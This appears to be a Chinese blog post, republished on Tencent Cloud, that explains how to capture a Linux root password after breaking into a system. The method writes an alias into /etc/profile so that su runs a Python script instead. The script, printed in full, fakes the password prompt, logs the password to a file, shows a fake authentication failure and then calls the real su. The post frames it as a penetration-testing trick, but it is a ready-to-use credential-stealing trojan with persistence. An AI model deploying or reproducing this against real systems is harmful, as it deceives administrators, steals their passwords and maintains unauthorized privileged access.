前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >简易获取root密码技巧

简易获取root密码技巧

作者头像
Jumbo
发布2019-06-02 21:40:21
1.4K0
发布2019-06-02 21:40:21
举报
文章被收录于专栏:中国白客联盟中国白客联盟

这个技巧一般用在什么地方呢,如授权的渗透下,或不能对应用系统造成破坏性攻击的时候。

首先看几条命令

一:当sudoer执行sudo命令时,会提示需要用户密码

二:alias可以设置别名

但是只能在当前shell下生效

三:环境变量

上面第二条说的,alias如果不设置的话只在当前shell下有效,包括我们常见的source ~/.bash_profile。

这个时候我们就要了解下/etc/profile

/etc/profile是可以设置永久环境变量的,也就是说所有用户登录的时候都会执行其中的命令。

组合

综上所诉,我们就可以把上面提到的三点组合利用:

在利用相关漏洞如命令执行等获取到root权限以后,在系统的环境变量中写入别名,在用户执行相关命令时进行“替换”。

代码

https://github.com/Jumbo-WJB/notes/blob/master/su.py

import osimport sysimport getpassimport time
current_time = time.strftime("%Y-%m-%d %H:%M")logfile = "su.log"
fail_str = "su: Authentication failure"
try:    passwd = getpass.getpass(prompt="Password: ")    file=open(logfile, "a")    file.write("[%s]\t %s" % (passwd, current_time))    file.write("\n")    file.close()except:    passtime.sleep(1)print fail_stros.system("su")

上面代码具体意思是指当用户执行su命令时,实际上是执行我们的root.py,然后root.py会先伪造上面第一点命令中提到的su的命令回显,记录用户输入的密码,提示密码错误,最后调用真正的命令。

效果如下

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档